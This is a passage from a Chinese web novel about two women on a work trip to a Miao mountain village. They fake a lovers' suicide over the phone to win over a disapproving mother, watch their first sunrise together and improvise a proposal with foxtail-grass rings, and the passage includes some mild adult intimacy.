期间温晚接到表姑姑电话,她不想听到任何坏消息,手机递给谢舒毓。 “就那样呗,该上班上班,该吃饭吃饭。”谢舒毓左手举着,开了免提。 “那小碗呢,怎么电话都不愿跟我讲,还生气呢。”表姑姑问。 “不生气,我该吃饭吃饭,该睡觉睡觉。”温晚凑近听筒。 表姑姑又问,“那你们感情怎么样啊?有空回家来吃个饭呗。” 谢舒毓没有正面回答,只说明天出差,要带温晚一起去,机票都买好了。 “去个三四天,吃饭的话,得下周了。” “那就是感情挺好的意思,是吧?之前听你们爸爸说,好像还要办婚礼,啥时候办呐?” 表姑姑让她们出差回来就去家,给做好吃的,“你们走了,家里冷清清的,表姑姑真寂寞。” “不去,我是败类,是不幸,我以后就跟小筷子过。”温晚赌气说。 电话挂断,温瑾靠回床头,不满“哼”一声。 “看吧,都是你干的好事。”表姑姑谴责。 温瑾白眼,说“是是是”,“我是大恶人,我最坏了。” 表姑姑挨在她身边拧着眉毛琢磨了半分钟,忽地笑起来,轻推她一把。 “干嘛?”温瑾斜眼。 表姑姑继续推她,“整天横眉竖眼,吓唬谁。” 温瑾推回去,“干嘛你!” 一把年纪的人了,你推我搡的幼稚游戏乐此不疲。 表姑姑并不戳穿,抻抻衣摆,两腿左右勾着,“到时候看你怎么下台。” “我怎么下台,我还需要下台?我什么身份,我是她们妈妈,只有她们求我的份。”温瑾不以为意,向来是称王称霸惯了。 “不过我会帮你的。”表姑姑说她早就看出来了,“我们那么多年关系,你心里想什么我还不知道?” 温瑾问她看出什么来了,她笑眯眯不说话,温瑾踹她一脚,她也不生气。 “我心里想什么呢?”温瑾继续踹,追问不休。 “你心里知道。”表姑姑就不说,就爱跟她唱反调。 温瑾说她不知道,表姑姑说拉倒吧你。 两人来来回回,没一句有用的。 然后温瑾莫名其妙开始生闷气,在床上用力翻滚,用沙哑的哭腔说“我还不是为了这个家”! “哎呀我的妈呀。”表姑姑一拍脑门,头大。 有什么办法,哄呗,她歪倒伏在温瑾肩膀,“我的姑奶奶,老姑奶奶,又怎么惹你不快了。” “你还嫌我老!”温瑾扯被捂脸,又一嗓。 “你老我也老啊,咱俩一对可爱的小老太太。” 表姑姑拿手戳她脸,像年轻时候那样逗她,“还嫩的,不老,一点也不老。” 后来是用冰淇淋哄好的,温晚跟她妈一样贪吃。 表姑姑领她去楼下花园,坐在遮阳伞下,说:“孩子小时候,你怎么说她的,你还记得不?” 温瑾说有屁就放,表姑姑对她脾气是真好,真有耐心。 “隔壁邻居,都夸小碗漂亮,招人喜欢,结果你说什么,你说她又懒又馋,可难养了。哼哼,其实都是遗传你,你也是又懒又馋。” 不仅如此,她火气还大得很。 “那又怎么样?!” “不怎么样,吃你的吧。” 展开一把原木色的檀香小扇,表姑姑举起给她扇扇,“这天可真热,一年比一年热了,听说都是那些大富豪开私人飞机开的。” “那你还带我下来晒太阳,把我的皮肤都晒老了。”温瑾抱怨。 表姑姑细细声,“那不是担心你吃了凉的肚子不舒服。” 温瑾曲着腿靠在藤编椅,碗里的冰淇淋挖了坨大的喂过去,“你也尝尝。” 头扭去一边,表姑姑说她不爱吃甜的。 “你爱吃!”温瑾大声。 无奈张嘴接了,表姑姑继续打着小扇。 她想起跟温瑾第一次见面,她提个灰蓝色的牛仔布大包,坐长途汽车从乡下来,踩一双军绿色解放鞋,鞋帮子全是泥。 女子刚生完小孩还在月子里,头上戴顶红色毛线帽,一张脸白生生,眼睛黑亮,嘴小小,干渴得起了皮。 她搁了包,赶紧跑去给女人倒水,女人跟她说的第一句话,她到现在还记得。 ——“你洗手了吗?” 她赶紧去洗手,洗完手继续喂水,女人跟她说了第二句。 ——“你把我家地板砖踩得全是泥。” 她顿时无措,看白瓷砖上乱七八糟一堆脚印子,不知道该怎么办好。 女人拍着大腿“哈哈”笑,跟她说的第三句话是: ——“乡巴佬。” 那时候叶以梅觉得自己以后日子肯定难过了,遇见这么个刻薄女人。 没想到,这一晃就是三十年。 第87章 《殉情》 谢舒毓这次要去的地方很远,除乌玫和学敏姐,还有杂志社另两名男同事。 一大早她们赶去坐飞机,在机场跟学敏姐和其余同事汇合,几个小时后抵达目的地,然后坐大巴去长途汽车站。 高速两三个小时到县里,又去县里的客运站坐中巴,去乡镇上。 到乡镇上,还不算完,只是终于不用自己找车,电视台派车来接她们了。 盘山路绕啊绕,一车子人几乎晕死过去,从来没见过那么多山。 前是山,后是山,左是山,右还是山,像海浪起起伏伏,绵延不绝,绿意直抵天际。 温晚起先还兴奋,拿着手机对着车窗外不停拍拍拍,后来晕车贴也不管用,她开始吐。 谢舒毓和学敏姐经常出差,勉强撑得住,乌玫第一次,也是吐得厉害,车到地方,两人背靠背半躺在路边石阶,温晚昏昏沉沉骂谢舒毓恩将仇报。 “你对我什么恩情呐。”谢舒毓揉揉她的脸蛋。 温晚晃晃脑袋,“我每天晚上都给你……” 最后一个字没来得及发音,谢舒毓及时捂住她的嘴。 学敏多尖的耳朵,瞬间领悟,双手叉腰仰天大笑。 急得乌玫团团转,“什么嘛什么嘛,快告诉我!” 学敏摆摆手,说你还小,以后会知道的。 意味深长“哦”一声,乌玫说她好像懂了。 时间接近傍晚,当地电视台的人看她们状况实在糟糕,就先不安排工作,直接带她们去住处,约定一小时后楼下碰面,聚餐。 寨子里本地人开的民宿,有个花团锦簇的小院,围着院子几栋两层飞檐小楼,全木质结构,充满别样的民族风情。 谢舒毓找到老板,偷偷跟他说带了朋友,想单独安排一间,可以自费。 “啥子自费?不得自费!” 老板中年微胖,穿藏蓝色绣蝴蝶小马甲,手里举个烟斗,大臂一挥,坚决不许。 他用方言浓厚的普通话反复强调说都是朋友,“你们是来帮着寨子搞宣传的嘛,不可能收钱。” 杂志社另外两名男同事本以为温晚是电视台安排的向导,电视台呢,也以为温晚是杂志社的工作人员,现在好,这一通嚷嚷,全暴露。 谢舒毓僵硬在原地,学敏笑得腰都直不起来,拍着她肩膀安慰说没事,“好好完成工作就是。” 踩着木楼梯吱呀呀上楼,进房间放东西,温晚说她有办法。 房间大量苗族蜡染元素挂布,谢舒毓好奇伸手摸,“你有什么办法。” 温晚“切”一声,“你真笨,到时候在寨子里买点工艺品送他们不就好了,拿人手短,再说我也没有影响你们工作,他们自然会守口如瓶。” 谢舒毓一听,欸有点道理,“你还真不笨。” 温晚气死,“你才笨!基本人情味往来而已,看你吓那样,丢人现眼。” 谢舒毓不否认,这方面她确实有点迟钝。 想想不服气,“那之前我们在房间里亲嘴,导致表姑姑跟干妈吵架,还不是我出面摆平。” 温晚说:“其实我是故意的,看你会不会出来帮我。” 还没换衣服,她躺在被面,谢舒毓坐在窗边藤椅,鼓着脸看她。 半晌没听见动静,温晚动一下脑袋,视线投去,忍不住笑了。 她爬起,两手直拍巴掌,又喊又跳,“哎呀我们小宝真厉害,温老虎那样的厉害人物,她都可以轻松摆平,真的超厉害的!” “本来就是。”谢舒毓嘟囔。 “嗯嗯!厉害死了。”温晚吧唧躺倒,“哄小孩真累。” 谢舒毓拿抱枕扔她。 窗外是条河,河中许多大石,流水积年累月冲刷得圆润,几头黄牛卧坐在河边草甸,有小孩光屁股踩着河里玩水,更远地方,河面横跨一座风雨桥。 温晚趴在窗边看风景,赶了一天的车,眼皮懒懒打架,快要睡着的时候,周遭忽地暗下,感觉额头碎发被人轻而缓慢地拂开,湿热的吻痕烙印在眉心。 睁开眼,温晚一把抱住她,“逮住你了。” 谢舒毓毫不惊惶,“亲我自己老婆,天经地义。” 温晚靠在她肩膀开心笑起来,笑着笑着又难过瘪嘴,“妈妈为什么不同意我们啊。” 说到这个。 “其实我心里一直有个疑问。” 谢舒毓说她事后复盘过好几次,“你不觉得,妈妈当时反应过于激烈了,怎么连话都不听我们说清楚,直接就赶出家门。” 谢舒毓回忆当时,“我跟她在楼下争执了几句,她一直问我们是不是已经分手,你能理解我感觉怪异的点吧,重点应该是我们在一起,而不是分手,如果妈妈不同意我们在一起,分手她不应该高兴?” 当时太着急,温晚没往深处想,现在谢舒毓单拎出来讲,她略一思索,“好像是这么回事。” “她没说不让我们在一起,也没说同性恋怎么怎么样,要跟你断绝关系啥的,我收拾好东西走到楼下,她说,什么时候想清楚了什么时候回去……” 谢舒毓摸着下巴琢磨,“她到底要我们想什么呢,怎么样才叫想清楚呢?” 到点她们下楼跟电视台的人一起吃饭,谢舒毓跟学敏姐她们聊工作,温晚在旁插不上嘴,憋了个坏主意。 她给温瑾发消息,说自己想清楚了。 [妈妈十月怀胎,艰难生下我,而我一点也不懂体谅,没帮上妈妈多少忙,就偷偷跑去外地,害妈妈每天为我提心吊胆。现在好不容易回家,又跟谢舒毓搞什么同性恋,回想过去三十年,对这个家没有丝毫贡献,贪婪索取,实在太不应该……] 满桌好菜,浓烈地域风味,谢舒毓给温晚夹了片蒸腊肉,忍不住好奇,瞄了眼她手机,顿时笑出声。 “干嘛呢。” 消息发送,温晚抓了筷子咬了口肉,大呼“好吃”,冲谢舒毓得意扬眉,示意她等着看好戏。 温瑾也是在饭桌上收到消息,起先还以为温晚良心发现呢,在那炫耀,说自己教育得好,举起高脚杯抿了一小口酒,忽地领悟到什么,连招手,“以梅,你快到我身边来!” 表姑姑看过消息,说现在还不太确定,“要不你直接问。” [什么意思?]温瑾回复。 “怎么说。”谢舒毓问。 温晚手机放一边,“先不管,晾晾她。” 开民宿的大哥拿个脉动瓶子出来,说里面装的是茅台,散装茅台。 学敏说茅台还有散装的呢,大哥说当然,一般人就算有钱也只能喝普通瓶装的,散装更高级。 “那我可得尝尝。”学敏让他倒满。 谢舒毓和乌玫不喝酒,温晚要了小半杯,学敏喝了,咂咂嘴说有点意思,温晚跟着舔了口,尝不出来,对于她来说,白酒都一个味儿。 “少喝点。”谢舒毓打了碗鸡汤给她解酒。 温晚摇头,手机拿出来,有温瑾两个未接。 她脸红红的,“嘿嘿,急了。” “为什么不接电话!”温瑾举着手机花园里来回走。 外头蚊子多,表姑姑带她上楼回房,分析,“不是说出差,估计在忙。” “忙也轮不到她啊,小筷子出差又不是她出差,她闲人一个,为什么不接我电话?” 温瑾真开始着急了,“不会出什么事儿吧。” 温晚脾气不好,行事还特别冲动,表姑姑也不放心,“要不给小筷子打个电话。” “不行,那我们就输了。” 温瑾握拳,抿唇严肃道:“其实我在想,我们是不是暴露了。” 但温晚那句之后,就真的没下文了,温瑾左看右看,越看越觉得像遗言。 谢舒毓接到表姑姑电话时,饭局已接近尾声,另两名男同事和学敏姐还在跟电视台的聊天,她跟学敏打声招呼,带着温晚和乌玫先离场。 外面小风一吹,酒劲儿上来几分,温晚坐在路边石墩子,背靠大树,指挥说:“小蛋糕接。” 乌玫指着自己鼻尖,“我?” 情况她大概了解一些,刚才吃饭的时候谢舒毓跟她说了。 “我怎么说啊。” 谢舒毓交待期间,电话没人接,挂了。 温晚脸蛋红扑扑的,“没关系,很快还会打来的。” 话音刚落,电话果然又响,谢舒毓接通后手机递给乌玫。 三人围拢在树下,乌玫开了免提。 表姑姑问小筷子你在哪儿呢,刚才怎么不接电话。 乌玫两个小拳头握得紧紧,耸着肩,“喂,你好,请问你是表姑姑吗?我看学姐手机上的备注是表姑姑。” 电话那头,表姑姑明显愣了下,磕磕绊绊问你你你,你是谁呀。 “我是她的同事,也是她的室友,就是我有一件很重要的事要跟你说,谢舒毓她现在不在,她说她跟温晚姐姐吵架了……” 乌玫显然不擅长撒谎,一开口就露馅。 谢舒毓双手捂脸,忍笑,温晚疯狂做口型,试图纠正。 乌玫看不明白,表姑姑问怎么回事,声音有点大了,她一着急更是结巴。 “就她们吵,吵,吵架嘛,不知道为什么开始闹分手,然后小碗姐跑了。” 温晚连口型带比划,仰脖往嘴里倒东西,意思说喝酒。 黑灯瞎火,两人之间也实在没默契,乌玫不知道怎么回事,煞有其事嗯嗯两声,“然后她就跳河了。” “跳河?”表姑姑腾地弹起。 谢舒毓一屁股坐地上,笑得满地爬,温晚目瞪口呆,温瑾险些从板凳掉下来。 “跳河?” 乌玫脸爆红,不知该怎么编下去,温晚摆摆手,意思你自由发挥吧。 “然后学姐也跟着跳啦?”乌玫试探着。 “啦?”表姑姑疑惑,“也跟着跳啦?” “殉情。”乌玫坚定。 第88章 第一场日出 乌玫起先还战战兢兢,后面越说越来劲。 “喝了点酒,散装茅台,说是别地方都喝不到的,可能散装的比瓶装的劲儿大,上头。” “离了饭桌走到外面马路边,开始吵架,小碗姐说,妈妈不同意我们,她生养不易,我不可以不孝,我们还是分手吧……” “学姐也来气,说我们这么多年感情算什么呢,在你眼里我算什么呢,你都不试着争取一下,哈哈,温晚我真是看错你了。” 表姑姑在电话那头都插不上嘴。 温晚醉眼朦胧蹲坐树下,拉着谢舒毓捂嘴小声问宿舍房间是不是隔音特别差,平时乌玫在房间里说话你听得到吗? 谢舒毓疑惑“嗯”了声。 “她平时肯定没少偷听我们说话。”温晚笃定。 “语气都模仿得惟妙惟肖,而且她上次跟我说,我叫很大声。我叫很大声吗?”她皱眉。 “是挺大声的。”谢舒毓老实讲。 温晚立即给了她一拳,“那你不提醒我!” 谢舒毓好冤,“我说了有用吗?我总不能把你嘴堵上。再说情到浓时自然反应。” 乌玫举着手机还在跟表姑姑讲故事,温晚不知脑补了些什么,红着脸歪了下脑袋。 谢舒毓问怎么了,温晚目不转睛看着她,看她鼻尖路灯穿透树叶洒落的小块光斑,忽然捧起她的脸,伸舌舔了一下。 她的唇有股淡淡椰奶味道,温晚忍不住又舔,像某种小兽咬碎浆果,细细吮食。 “你可以堵住的呀!” 温晚把谢舒毓按倒在树下干燥的泥巴地,亲吻她的睫毛、眼睛和鼻梁,舌撬开她的牙齿,深处贪婪挖掘更多,含糊说你可以像这样堵住我的。 谢舒毓“呜呜”挣扎几下,环住她腰,肩窝和衣领里尽是她冰软的长发。 一千五百多公里以外,表姑姑还在“喂喂喂”不停追问,乌玫目瞪口呆,一个字也说不出来了。 隔一条马路,对面是她们吃饭的小馆子,学敏姐出来了,在跟电视台的几位工作人员说话,脚边两个人亲得难分难舍。 场面太过戏剧性。 怎么办怎么办怎么办,乌玫快急死。 被人看到的话,学姐工作会受到影响的吧,电视台万一给杂志社打小报告呢。 最后她心一横,人也一横,倒在两人身边,选择加入,分别亲了下她们的脸。 乌玫后来跟学敏解释,说两个人亲嘴太扎眼,三个人的话就没关系了。 “三个人怎么就没关系了?难道不是更扎眼?” 学敏好说歹说才把电视台的人打发走,说她们喝醉了,年轻人比较奔放,不拘小节。 现在她想揪着她们衣领子一个个挂树上去。 散装茅台确实上头,温晚颠来倒去站不稳,搂着学敏挂在她脖子,也要亲亲。 学敏让谢舒毓赶紧拿走,“这玩意跟病毒的,会传染!把我们小乌玫都染色了。” 谢舒毓把温晚接过,乌玫在旁小心翼翼搓手,“学敏姐姐,有没有一种可能,我跟她们其实是同类来的。” 学敏先是愣了下,随即好像领悟了什么,“所以是真的?你们三个。” 三人大笑,把学敏都绕迷糊了,“什么鬼东西。” 温晚手机上十几个未接,谢舒毓也一样,两人从浴室出来,温晚酒醒了大半,但腿酸,还站不太稳,扶墙倒在床上,打开手机看消息。 [所以你们和好了没?] [爱这么深沉呐,还殉情。] [什么时候回来?一起回家吧,妈不反对你们了。] [你表姑姑,你爸,还有外公都劝过我了。你妈我经历了一番极为曲折的心历路程,最终选择接受。] 温晚打字回复,跟妈妈老实交代了,说都是演的,逗你玩的。 [只是没想到,妈妈这么容易就妥协了,我们还没放大招呢。] “就知道。”疲惫捏捏眉心,温瑾说,万一是真的呢? [你们都是我的孩子,你们可以不要妈妈,但妈妈不能没有你们。] 真的也好,假的也罢,她说赌她不起,人越老越怕失去。 看到这句温晚一下红了眼眶。[其实我知道妈妈是在帮我们,我们都知道。] 房间全木结构,到处颜色暖融融,谢舒毓弯腰在旁收拾,准备把她们换下来的脏衣服拿去洗。 温晚想起刚从家出来那阵,还跟谢舒毓赌气来着,说不要她可怜,不要她施舍。 人怎么能别扭成那样。 “小筷子。”温晚把手机扔去一边,“你可以来抱抱我吗?” 谢舒毓抬头看她一眼,手边脏衣服放在藤椅,温晚又改口说不。 “你站那别动,我来抱你。” “怎么了?”谢舒毓疑惑,却也听话照做。 温晚跪在床沿,两条手臂圈住她的脖子,深深拥抱,嗅闻潮湿发香,“没怎么,就是感激你,想抱抱你。” “感激我什么啊。” 拨开她耳边乱发,谢舒毓捏了下她的耳垂,“好好跟我说说呗,想被夸。” 嘴唇贴在她耳朵,温晚于是很认识谢谢她,夸奖她。 “感谢你一直对我那么好,那么包容,忍受我的坏脾气,永远对我无条件投降,可我总是很少考虑你的感受,我太不应该了。你的优点特别多,会超多技能,会做饭和画画,还知道很多知识,像一本百科全书。又那么好看,人也非常善良,从来不乱丢垃圾,不闯红灯,为人处世,谦和有礼,温让有度……太多太多,你的好,我说上三天三夜也说不完。” 说完,她朝人戳戳下巴,“该你了,现在换你夸我。” 谢舒毓仰头大笑,随即正色,“你也一样。” 温晚竟也没生气,“略敷衍,但我接受,不过我要纠正一点我跟你不一样的地方。” 谢舒毓好奇问什么,温晚憋笑,“我胸比你大。” “好好好。”无法反驳,谢舒毓服气了。 “但你的形状很好看,像小鸟。”温晚手捏捏,轻揉。 谢舒毓自己带的沐浴露,还是家里那股熟悉的甜甜橙子味,浴室结束还没多久,温晚又觉得热,嘴唇落在她颈侧位置,感觉脉搏突突在跳。 睡衣扣子解开两颗,温晚跪在她面前,“我看看小鸟。” 眼神闪烁,谢舒毓有点害羞笑了下,没说好,也没说不好。 这几个月她头发长了好多,已经垂过肩膀,温晚手拨开微润的发尾,她肩瘦瘦的。 亲亲锁骨,继续解扣,睡衣两边敞开,温晚往下,随后本能含住,舌打两个转。谢舒毓大喘一下,视线低垂,眼神锁定,抿唇克制着呼吸。 缓缓将自己解开来,散乱的长发拨至后背,温晚两手环住她的腰,把自己贴向她。 皮肤温度重叠,十指相扣,温晚倒下,谢舒毓压过来,像河水漫过山丘,洗涤青草,有细小气泡升腾。 温晚不敢大声,谢舒毓倒希望她喊出来,她憋得全身通红,像熟透的樱桃,刚从树上采下来,身上还挂着露水。 后来她们一起去楼下院子里洗衣服,谢舒毓难得上脸,两侧颧骨粉红颜色,半天消不下去。 仲夏时节,山中夜风微凉,院子里蛐蛐叫,温晚托腮坐在木板凳,看谢舒毓蹲在那研究洗衣机,顺利启动后起身朝她走来。 她抬起脸,谢舒毓的手自然覆上,温暖的触感摩挲在脸颊、耳根和颈部。 温晚抱住谢舒毓,板凳矮,她撩起她衣摆,在她小腹位置亲了一下。 “好痒。”谢舒毓笑着躲。 不知道谁在煮宵夜,空气里有股甜甜的酒酿味道,她们并肩坐在露台,听洗衣机嗡嗡转,温晚吸了下鼻子,“想吃。” 两人溜到厨房,果然,民宿老板说是客人点的,谢舒毓也点了一碗,老板说不要钱,谢舒毓坚持给,老板就给她们加了两个荷包蛋。 汤里有切成条的不知道什么糍粑,还有小小的糯米圆子,鸡蛋非常完整,里面蛋黄煮得粉粉的,喝一口甜汤,全身都暖和了。 谢舒毓把空碗放在脚边,温晚靠在她肩膀,闭上眼睛,“我好幸福啊。” 捏捏她手,谢舒毓小声跟,“我也好幸福啊。” 电视台早上要去拍日出,四点谢舒毓闹钟响,温晚在被子里滚来滚去,不开心,谢舒毓起来穿好衣服,弯腰亲了下她额头。 “等我回来给你带早饭。” 温晚睁开眼抱住她,“不,我要跟你一起看日出。” 好巧在楼下遇见民宿大哥,背个竹篓,说要去山上采蘑菇。 温晚顿时来了兴趣,“我也要去!” 挤上面包车,大家挨坐在一起,各地口音浓重的夹生普通话聊天,嘻嘻哈哈,好不快乐。 晃着手电上山,露水打湿了裤腿和袜子,鼻端是潮乎乎的花露水味道,谢舒毓担心山上蚊子多,出门前她们喷了好多。 到山顶是五点四十,电视台的设备比她们的好,谢舒毓就没带机器,说到时候拷一份。 一大群人或坐或立在山顶平台处,看群山之上流动的海一般的雾,看东方荡起墨蓝,看火轮点燃云层,太阳从山那头缓缓攀爬出,眨眼便跃至山间。 世界灿烂。 有风,温晚摸了一下脸,不知不觉,泪流满面。 “这是我第一次看日出。”谢舒毓捂住心口,记忆中涂画明亮的一抹。 “也是我的温晚小声说,牵紧她手。 也是她们人生的第一场日出。 耳边一声欢呼,指引她们齐看向西方的天。 太阳出来了,月亮还没有落山,皎洁圆满的一轮,悬挂在树梢。 日月同辉,天地共彩。 雾气流动,深吸气洗涤肺腑,如同一场新生。 第89章 是挚友,也是恋人 太阳自群山那头升起,明亮渐渐无法直视,高积云轻薄如羽,整齐排列在湛蓝的天空。 山下的苗寨层叠屋瓦间腾起青烟,伴鸡鸣送来幽幽的柴香。 民宿大哥说不能再等了,晚些蘑菇开伞,会招惹蚂蚁。 电视台工作人员操控无人机在苗寨上空飞行,拍摄全景,学敏姐出镜,介绍当地地貌和植被情况。 民宿大哥拉着温晚要走,温晚也拉着他不放,想带谢舒毓一起。 担心影响收音,两人不说话,原地干拔。 同行,有位四十多岁戴眼镜的男性,算谢舒毓她们这个小团队的领导,他把谢舒毓和乌玫拉到一边,让她们跟着民宿大哥去。 “采蘑菇这个过程记录下来,菌菇的种类,毒性,以及可食用性等等,回去我们多加个专题。” 温晚蹦蹦跳跳,“大叔你人真好。” 对方笑着朝她们摆摆手,“去吧,我们兵分两路,到时候电话联系。” 民宿大哥带她们到处找蘑菇,幸好乌玫带了相机,谢舒毓拿手机录制视频,主要听民宿大哥介绍,方便后续整理。 乌玫给蘑菇拍照,温晚捏根小木棍,到处刨。 民宿大哥传授找蘑菇经验,温晚认真听讲,很快掌握要领,每次找到蘑菇,她大叫,一帮人立即围拢,几个圆屁股撅在那,对着蘑菇叽叽咕咕。 乌玫举着相机给大家看她拍的照片,“蘑菇太美了,太美了,尤其是毒蘑菇!仙女一样。” “都是我找到的!”温晚邀功。 “姐姐真会找!”乌玫伸出大拇指,夸夸。 “我又会找,又会叫。”温晚说。 谢舒毓笑死了,乌玫脸红透,推她一把,“你真是的——” 民宿大哥又找到新品种,在前面招手。 山上露水重,林中湿热,蚊虫凶猛,忙到快中午下山,装蘑菇的小竹篓满满,身上蚊子包也满满。 民宿大哥说并不是每次上山都能有收获,这次托她们的福,采得许多,答应给她们煮火锅。 回屋洗了个澡,温晚光溜溜趴在床上,谢舒毓拿药膏给她抹虫咬的包,抹完吹一下,温晚就舒服哼哼两声。 “还痒吗?”谢舒毓没被咬多少,她体质不招蚊子。 温晚说“痒”,谢舒毓继续呼呼吹气,温晚咯咯开始笑,谢舒毓问她笑什么呢,她说下面痒。 “我真服了你。”谢舒毓跪倒在她的凉拖鞋。 温晚往床边挪挪,手臂伸直,从人衣下摆探入,又不老实。谢舒毓打了下她手背,“躺好,不然留疤。” “哎呀!”温晚哼哼唧唧,让谢舒毓给她抓抓痒,谢舒毓问抓哪里,她扭来扭去,“抓下面。” 谢舒毓笑得不行。 楼下民宿大哥扯着脖子叫吃饭,谢舒毓给她找身干净衣服套上,“走。” “那你亲我一下。”温晚戳脸蛋。 谢舒毓点头说行,“我先吃个面包垫肚子。” “什么时候买了面包。”温晚正疑惑,身子一轻,被人翻转咬了口胸。 又气又羞,温晚踹她一脚,“狗东西!” 谢舒毓大笑跑开。 中午在楼下吃的野生菌火锅,味道极其鲜美,温晚四处邀功,“每一朵都是我采的!” 大家像哄小孩,不停夸真厉害真厉害,她受用得很。 她的性格,果然在哪里都很受欢迎。 谢舒毓下午还有工作,温晚本来想跟她一起去,饭吃一半开始升碳,早上没睡够,困得眼睛都睁不开。 谢舒毓带她回房休息,她勾着人脖子嘟嘟囔囔不知道说什么,谢舒毓给她开了空调,仔细掖好凉被,亲了下她额头。 温晚这一觉睡得很香,醒来快三点,手机上有谢舒毓发的一大串消息,简单汇报自己的工作进程。 她每换一个地方发一个定位,担心温晚醒来找不到她。 身上蚊子包抹药消去大半,也不痒了,温晚换条吊带裙出门。 天掏空了似的蓝,没完没了的蓝,太阳炙烤,她在路口一家小店买了顶帽子。 跟着谢舒毓发的导航到了河边的风雨桥,温晚老远就看见她,坐在树下阴凉地方,支个画架写生,电视台的正举着机器拍。 “老婆!”温晚拢唇大喊。 谢舒毓回头,冲她招招手。 旁边摄影师镜头跟随,惊讶,“你是?” 谢舒毓回答说我是,“刚才那段会剪掉的,对吧。” 摄影师笑着答应。 电视台拍纪录片,温晚就不上去凑热闹,她沿河溜达,看到河边不知道谁捡了好多红石头,在河滩上摆了个大大的爱心。 反正闲着也是闲着,温晚裙摆一撩,打个结,捡堆白石头,在红色大爱心里摆了个小爱心。 这里的河水很干净,温晚脱了鞋子,浅滩处踩水玩,久了还是有点冻脚,她不时跳到旱地晒晒,暖和了继续玩。 老家县城里也有条护城河,温晚刚上初中那年,学习有点跟不上,期中考试成绩不理想,回家挨了骂,有天放学就把家门钥匙赌气扔河里了。 谢舒毓什么也没说,跳河里给她捡。 还没到雨季,河水深处淹不过小腿,那时候水完全不臭,她们把鞋子脱下来,鞋带系挂在书包带,袜子揣兜,光脚在河里踩着石头找啊找,找到天黑也没把钥匙找回来。 中途捡了很多奇形怪状的小石头,有爱心形状的,有像小鸡的,像五花肉的,还有像轮船的。 那些小石头谢舒毓后来带回家洗干净,温晚放在窗台上。 石头干掉以后颜色变得黯淡,温晚上课传纸条跟谢舒毓说了这件事,谢舒毓隔天放学带她去买了鱼缸。 石头放在鱼缸里,接上水,恢复鲜艳,谢舒毓跟她讲了漫投射现象。 温晚不懂,鱼缸每天放在太阳底下晒,后面开始长绿毛,谢舒毓说那叫水藻,太阳让它们产生光合作用,看里面升腾的那些小气泡,都是氧气。 有了鱼缸,当然还得有鱼,有一次她们逃了晚自习去广场附近闲逛,看到那种像动漫里用纸兜捞金鱼的小摊,也跟着去捞。 谢舒毓很擅长做这种事,她极有耐心的,连捞了七八条,老板故意用手指把渔网戳破,请她们离开。 温晚不服气,跟老板大吵,转头看见学校教导主任牵着小孩逛夜市,两人飞快跑掉,一条鱼都没拿。 幸好也没付钱。 后来是周末爸爸带她们去河边钓了几尾,谢舒毓还抓到螃蟹,一起养在鱼缸里,再后来某个艳阳天,鱼缸放在窗台,小鱼全被晒死,温晚记得自己当时还大哭一场。 这些很有意思的事,都是和谢舒毓在一起时发生的,温晚后来遇见过不少人,但始终没有耐心去了解她们。 感觉时间差不多,温晚穿上鞋朝她慢慢走过去,中途谢舒毓起身收起画架,她加快脚步。 “老婆我来啦!”温晚张开双臂,欢呼。 谢舒毓把画架交给乌玫,请求帮忙归还,这是在民宿附近的美术机构借的。 “我带你去玩。”谢舒毓牵起温晚的手,往河边走。 温晚举手说我先我先,“我先带你去一个地方,有个特别好玩的东西给你看。” 谢舒毓问什么呀,温晚神神秘秘的,“到时候你就知道了。” 谢舒毓顿时有点紧张,“你刚才一直在这附近玩吗?” 温晚说是呀,谢舒毓不讲话了。 沿着河滩走到那两个石头摆出来的大爱心面前,温晚恍然意识到什么,故作惊喜,“哇哟!大自然的杰作!你快看!” “啊——”谢舒毓尬笑两声,“哇真厉害,还有两个。” 温晚斜眼偷瞄,小嘴抿得紧紧。谢舒毓同样斜眼偷瞄,半张嘴,傻里傻气。 视线相撞,像被静电打了一下,彼此飞快松开手。 温晚极力忍笑,“所以这个红石头的大爱心不会是你摆的吧。” “所以这个白石头的小爱心不会是你摆的吧。”谢舒毓学她。 “你真土啊!” 温晚真是要疯了,“神经病,你不会要跟我求婚吧!” “你真土啊!”谢舒毓啊啊在河滩上跑来跑去,“神经病,你不会要跟我求婚吧!” 温晚“哈哈哈”笑,跪倒在两颗大爱心旁边,双肩不住抖,笑得肚子痛。 求婚这件事她确实有认真考虑过,在她们和好以后。 为什么非得是谢舒毓跟她求婚呢。 谢舒毓那么土,肯定想不出什么好主意。 温晚笑骂她“土狗”,随即想到自己,见到那颗红色大爱心的第一反应,竟然也是求婚。 她们真不愧是挚友。 “好了你笑够没有。” 谢舒毓跑来,朝她屁股轻轻踹了一脚,“我就知道你会这样,我就怕你笑我。” 温晚伸出手。 谢舒毓把她拉起,“不许笑了。” 温晚摇头,握拳揉揉笑酸的脸蛋,“那你带戒指了吗?” 谢舒毓脸色一变。一大早光顾着赶飞机,当时也没想着在出差途中求婚,感觉匆匆忙忙,不够正式。 但来到这里之后,处处都意外美妙,山清水秀,是个求婚的好地方。 “没关系,我也没带。”温晚捧起她脸亲了一下,跑去路边摘了几根狗尾巴草,“用这个吧。” 谢舒毓接过,蹲在地上开始编,温晚拉她一把,把她拉到两颗石头爱心里,自己也蹲进去,托腮看她用狗尾巴草编戒指。 像小时候玩过家家,用水性笔在手腕上画表,温晚觉得好幼稚啊。 但她好喜欢好喜欢。 什么玫瑰气球蛋糕,哪有狗尾巴草和石头爱心有趣,当然如果谢舒毓真的给她准备了那些,她也不会嫌弃。 是谢舒毓就好,怎么样都可以。 戒指编好了,两根狗尾巴草缠在一起,像小兔子毛茸茸的大耳朵,她们分别为对方戴上。 “结婚。”谢舒毓托起她手,浅浅一吻落下。 温晚有样学样,“结婚。” “你是复读机吗?”谢舒毓笑着点一下她脑门。 “你是复读机吗?”温晚歪头。 “我是你老婆。”谢舒毓说。 “我是你老婆。”温晚继续学舌。 谢舒毓坏笑一下,“你是只小粉猪。” 可爱,温晚接受,“我是一只小粉猪。” “你是一只香香软软的小粉猪。”谢舒毓又说。 温晚学小猪哼哼,“我是一只香香软软的小粉猪。” “你是一坨臭狗屎。”谢舒毓笑盈盈的。 “你是一坨臭狗屎。”温晚也笑盈盈的。 “切——”谢舒毓白眼。 “我让你骂我!”温晚跳起就要给她一脚。 谢舒毓早有防备,迅速跑开。 温晚原地不动,她长发飞舞,日光下是温暖的板栗色,好漂亮。 但不妨碍她是个小贱人。 ——正文完—— 第90章 番外:梦 周六上午补完课,中午放学回家的路上,她们吵架了。 今天周一,早上妈妈叫起床,那天因为什么吵起来的,谢舒毓已经忘了。 